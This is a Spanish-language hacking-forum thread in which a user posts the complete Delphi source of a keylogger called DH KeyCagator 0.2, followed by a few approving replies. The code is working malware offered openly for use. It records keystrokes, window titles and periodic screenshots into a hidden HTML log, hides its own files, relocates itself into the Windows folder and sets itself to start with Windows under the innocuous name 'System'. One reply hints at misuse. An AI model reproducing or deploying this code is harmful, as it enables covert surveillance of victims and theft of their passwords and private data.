elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH KeyCagator 0.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH KeyCagator 0.2  (Leído 2,165 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH KeyCagator 0.2
« en: 8 Noviembre 2013, 16:42 pm »

Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.

El keylogger tiene las siguientes funciones :

  • Captura teclas reconociendo mayusculas y minusculas
  • Captura el nombre de la ventana actual
  • Captura un screenshot del escritorio cada 1 hora
  • Guarda todos los registros en un archivo HTML "ordenado"
  • Oculta todos los archivos relacionados con el keylogger
  • Se mueve y oculta en una carpeta de Windows
  • Se carga cada vez que inicia Windows

* Usen shift+F9 para abrir el panel de control.

Unas imagenes :





El codigo :

Código
  1. // DH Keycagator 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhkey;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;
  11.  
  12. type
  13.  TForm1 = class(TForm)
  14.    Image1: TImage;
  15.    GroupBox1: TGroupBox;
  16.    Edit1: TEdit;
  17.    Button1: TButton;
  18.    Timer1: TTimer;
  19.    procedure Button1Click(Sender: TObject);
  20.    procedure Timer1Timer(Sender: TObject);
  21.    procedure FormCreate(Sender: TObject);
  22.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  23.  private
  24.    { Private declarations }
  25.  public
  26.    { Public declarations }
  27.  end;
  28.  
  29. var
  30.  Form1: TForm1;
  31.  
  32. implementation
  33.  
  34. uses dhmain;
  35. {$R *.dfm}
  36.  
  37. procedure savefile(filename, texto: string);
  38. var
  39.  ar: TextFile;
  40.  
  41. begin
  42.  
  43.  AssignFile(ar, filename);
  44.  FileMode := fmOpenWrite;
  45.  
  46.  if FileExists(filename) then
  47.    Append(ar)
  48.  else
  49.    Rewrite(ar);
  50.  
  51.  Write(ar, texto);
  52.  CloseFile(ar);
  53.  
  54. end;
  55.  
  56. procedure TForm1.Button1Click(Sender: TObject);
  57. var
  58.  password: string;
  59. begin
  60.  
  61.  password := '123'; // Edit the password
  62.  
  63.  if (Edit1.Text = password) then
  64.  begin
  65.    Form1.Hide;
  66.    Form2.Show;
  67.  end
  68.  else
  69.  begin
  70.    ShowMessage('Fuck You');
  71.  end;
  72.  
  73. end;
  74.  
  75. procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
  76. begin
  77.  Form1.Hide;
  78.  Abort;
  79. end;
  80.  
  81. procedure TForm1.FormCreate(Sender: TObject);
  82. var
  83.  dir: string;
  84.  nombrereal: string;
  85.  rutareal: string;
  86.  yalisto: string;
  87.  her: TRegistry;
  88. begin
  89.  
  90.  Application.ShowMainForm := False;
  91.  
  92.  nombrereal := ExtractFileName(ParamStr(0));
  93.  rutareal := ParamStr(0);
  94.  yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;
  95.  
  96.  MoveFile(Pchar(rutareal), Pchar(yalisto));
  97.  
  98.  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  99.  
  100.  her := TRegistry.Create;
  101.  her.RootKey := HKEY_LOCAL_MACHINE;
  102.  
  103.  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
  104.  her.WriteString('System', yalisto);
  105.  her.Free;
  106.  
  107.  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';
  108.  
  109.  if not(DirectoryExists(dir)) then
  110.  begin
  111.    CreateDir(dir);
  112.  end;
  113.  
  114.  ChDir(dir);
  115.  
  116.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
  117.    FILE_ATTRIBUTE_HIDDEN);
  118.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  119.        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  120.  
  121.  savefile('logs.html',
  122.    '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  123.  
  124. end;
  125.  
  126. procedure TForm1.Timer1Timer(Sender: TObject);
  127. var
  128.  i: integer;
  129.  re: Longint;
  130. begin
  131.  
  132.  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  133.  begin
  134.  
  135.    re := GetAsyncKeyState(120);
  136.    If re = -32767 then
  137.    Begin
  138.      Form1.Show;
  139.    End;
  140.  end;
  141.  
  142. end;
  143.  
  144. end.
  145.  
  146. // The End ?
  147.  

Código
  1. // DH KeyCagator 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhmain;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;
  11.  
  12. type
  13.  TForm2 = class(TForm)
  14.    Image1: TImage;
  15.    GroupBox1: TGroupBox;
  16.    GroupBox2: TGroupBox;
  17.    GroupBox3: TGroupBox;
  18.    Button1: TButton;
  19.    Button2: TButton;
  20.    Button3: TButton;
  21.    Button4: TButton;
  22.    Label1: TLabel;
  23.    Timer1: TTimer;
  24.    Timer2: TTimer;
  25.    Timer3: TTimer;
  26.    Image2: TImage;
  27.    Label2: TLabel;
  28.    procedure FormCreate(Sender: TObject);
  29.    procedure Button1Click(Sender: TObject);
  30.    procedure Button2Click(Sender: TObject);
  31.    procedure Timer1Timer(Sender: TObject);
  32.    procedure Button3Click(Sender: TObject);
  33.    procedure Timer2Timer(Sender: TObject);
  34.    procedure Timer3Timer(Sender: TObject);
  35.    procedure Button4Click(Sender: TObject);
  36.  private
  37.  
  38.  private
  39.    Nombre2: string;
  40.  
  41.    { Private declarations }
  42.  public
  43.    { Public declarations }
  44.  end;
  45.  
  46. var
  47.  Form2: TForm2;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure savefile(filename, texto: string);
  54. var
  55.  ar: TextFile;
  56.  
  57. begin
  58.  
  59.  AssignFile(ar, filename);
  60.  FileMode := fmOpenWrite;
  61.  
  62.  if FileExists(filename) then
  63.    Append(ar)
  64.  else
  65.    Rewrite(ar);
  66.  
  67.  Write(ar, texto);
  68.  CloseFile(ar);
  69.  
  70. end;
  71.  
  72. procedure TForm2.Button1Click(Sender: TObject);
  73. begin
  74.  Label1.font.color := clLime;
  75.  Label1.Caption := 'Online';
  76.  Timer1.Enabled := True;
  77.  Timer2.Enabled := True;
  78.  Timer3.Enabled := True;
  79. end;
  80.  
  81. procedure TForm2.Button2Click(Sender: TObject);
  82. begin
  83.  Label1.font.color := clRed;
  84.  Label1.Caption := 'Offline';
  85.  Timer1.Enabled := False;
  86.  Timer2.Enabled := False;
  87.  Timer3.Enabled := False;
  88. end;
  89.  
  90. procedure TForm2.Button3Click(Sender: TObject);
  91. begin
  92.  ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
  93. end;
  94.  
  95. procedure TForm2.Button4Click(Sender: TObject);
  96. begin
  97.  Application.Terminate;
  98. end;
  99.  
  100. procedure TForm2.FormCreate(Sender: TObject);
  101. var
  102.  dir: string;
  103. begin
  104.  
  105.  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';
  106.  
  107.  if not(DirectoryExists(dir)) then
  108.  begin
  109.    CreateDir(dir);
  110.  end;
  111.  
  112.  ChDir(dir);
  113.  
  114.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
  115.    FILE_ATTRIBUTE_HIDDEN);
  116.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  117.        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  118.  
  119.  Label1.font.color := clLime;
  120.  Label1.Caption := 'Online';
  121.  Timer1.Enabled := True;
  122.  Timer2.Enabled := True;
  123.  Timer3.Enabled := True;
  124. end;
  125.  
  126. procedure TForm2.Timer1Timer(Sender: TObject);
  127. var
  128.  i: integer;
  129.  Result: Longint;
  130.  mayus: integer;
  131.  shift: integer;
  132.  
  133. const
  134.  
  135.  n_numeros_izquierda: array [1 .. 10] of string =
  136.    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
  137.  
  138. const
  139.  t_numeros_izquierda: array [1 .. 10] of string =
  140.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  141.  
  142. const
  143.  n_numeros_derecha: array [1 .. 10] of string =
  144.    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
  145.  
  146. const
  147.  t_numeros_derecha: array [1 .. 10] of string =
  148.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  149.  
  150. const
  151.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  152.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  153.    '291', '220', '221', '222', '226');
  154.  
  155. const
  156.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
  157.    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
  158.    '|');
  159.  
  160. const
  161.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  162.    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
  163.    '226');
  164.  
  165. const
  166.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  167.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  168.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  169.  
  170. begin
  171.  
  172.  // Others
  173.  
  174.  for i := Low(n_raros) to High(n_raros) do
  175.  begin
  176.    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
  177.    If Result = -32767 then
  178.    begin
  179.      savefile('logs.html', t_raros[i]);
  180.    end;
  181.  end;
  182.  
  183.  // Numbers
  184.  
  185.  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  186.  begin
  187.    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
  188.    If Result = -32767 then
  189.    begin
  190.      savefile('logs.html', t_numeros_derecha[i]);
  191.    end;
  192.  end;
  193.  
  194.  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  195.  begin
  196.    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
  197.    If Result = -32767 then
  198.    begin
  199.      savefile('logs.html', t_numeros_izquierda[i]);
  200.    end;
  201.  end;
  202.  
  203.  // SHIFT
  204.  
  205.  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  206.  begin
  207.  
  208.    for i := Low(n_shift) to High(n_shift) do
  209.    begin
  210.      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
  211.      If Result = -32767 then
  212.      begin
  213.        savefile('logs.html', t_shift[i]);
  214.      end;
  215.    end;
  216.  
  217.    for i := 65 to 90 do
  218.    begin
  219.      Result := GetAsyncKeyState(i);
  220.      If Result = -32767 then
  221.      Begin
  222.        savefile('logs.html', Chr(i + 0));
  223.      End;
  224.    end;
  225.  
  226.  end;
  227.  
  228.  // MAYUS
  229.  
  230.  if (GetKeyState(20) = 0) then
  231.  begin
  232.    mayus := 32;
  233.  end
  234.  else
  235.  begin
  236.    mayus := 0;
  237.  end;
  238.  
  239.  for i := 65 to 90 do
  240.  begin
  241.    Result := GetAsyncKeyState(i);
  242.    If Result = -32767 then
  243.    Begin
  244.      savefile('logs.html', Chr(i + mayus));
  245.    End;
  246.  end;
  247.  
  248. end;
  249.  
  250. procedure TForm2.Timer2Timer(Sender: TObject);
  251. var
  252.  ventana1: array [0 .. 255] of char;
  253.  nombre1: string;
  254.  
  255. begin
  256.  
  257.  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  258.  
  259.  nombre1 := ventana1;
  260.  
  261.  if not(nombre1 = Nombre2) then
  262.  begin
  263.    Nombre2 := nombre1;
  264.    savefile('logs.html',
  265.      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  266.  end;
  267.  
  268. end;
  269.  
  270. procedure TForm2.Timer3Timer(Sender: TObject);
  271. var
  272.  foto1: TBitmap;
  273.  foto2: TJpegImage;
  274.  ventana: HDC;
  275.  generado: string;
  276.  
  277. begin
  278.  
  279.  ventana := GetWindowDC(GetDesktopWindow);
  280.  
  281.  foto1 := TBitmap.Create;
  282.  foto1.PixelFormat := pf24bit;
  283.  foto1.Height := Screen.Height;
  284.  foto1.Width := Screen.Width;
  285.  
  286.  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
  287.    SRCCOPY);
  288.  
  289.  foto2 := TJpegImage.Create;
  290.  foto2.Assign(foto1);
  291.  foto2.CompressionQuality := 60;
  292.  
  293.  generado := IntToStr(Random(100)) + '.jpg';
  294.  
  295.  foto2.SaveToFile(generado);
  296.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  297.        + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);
  298.  
  299.  savefile('logs.html', '<br><br><center><img src=' + generado +
  300.      '></center><br><br>');
  301.  
  302. end;
  303.  
  304. end.
  305.  
  306. // The End ?
  307.  

Si lo quieren bajar lo pueden hacer de aca.


En línea

Mitsu

Desconectado Desconectado

Mensajes: 259



Ver Perfil WWW
Re: [Delphi] DH KeyCagator 0.2
« Respuesta #1 en: 8 Noviembre 2013, 16:59 pm »

Me ha gustado mucho el L&F. Muy atractivo.

PD: Últimamente estás que le das fuerte a Delphi no? xD


En línea

Fran2013

Desconectado Desconectado

Mensajes: 56


Tengo Un Arma... Y se como usarla.


Ver Perfil
Re: [Delphi] DH KeyCagator 0.2
« Respuesta #2 en: 8 Noviembre 2013, 18:00 pm »

Buen programa... No se que usos le dare xD  >:D
Me mato esta parte:
Citar
306: // The end?

 ;-)
En línea





Si tuviera el código fuente de tu amor, haría que amara al objeto "YO".
Fran2013

Desconectado Desconectado

Mensajes: 56


Tengo Un Arma... Y se como usarla.


Ver Perfil
Re: [Delphi] DH KeyCagator 0.2
« Respuesta #3 en: 9 Noviembre 2013, 00:34 am »

Me entusiasme con delphi... una pregunta conoses alguna guia online para aprender este lenguaje?

Gracias..  ;D
En línea





Si tuviera el código fuente de tu amor, haría que amara al objeto "YO".
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] KeyCagator 0.4
Scripting
BigBear 0 1,585 Último mensaje 9 Octubre 2011, 17:50 pm
por BigBear
[Perl] Keycagator 0.7
Scripting
BigBear 7 3,323 Último mensaje 9 Octubre 2011, 22:56 pm
por leogtz
[Perl Tk] Project KeyCagator 1.0
Scripting
BigBear 0 1,616 Último mensaje 3 Noviembre 2012, 15:39 pm
por BigBear
[Delphi] DH KeyCagator 0.7
Programación General
BigBear 0 1,486 Último mensaje 22 Noviembre 2013, 14:56 pm
por BigBear
[Delphi] DH KeyCagator 1.0
Programación General
BigBear 0 1,624 Último mensaje 5 Junio 2014, 18:17 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines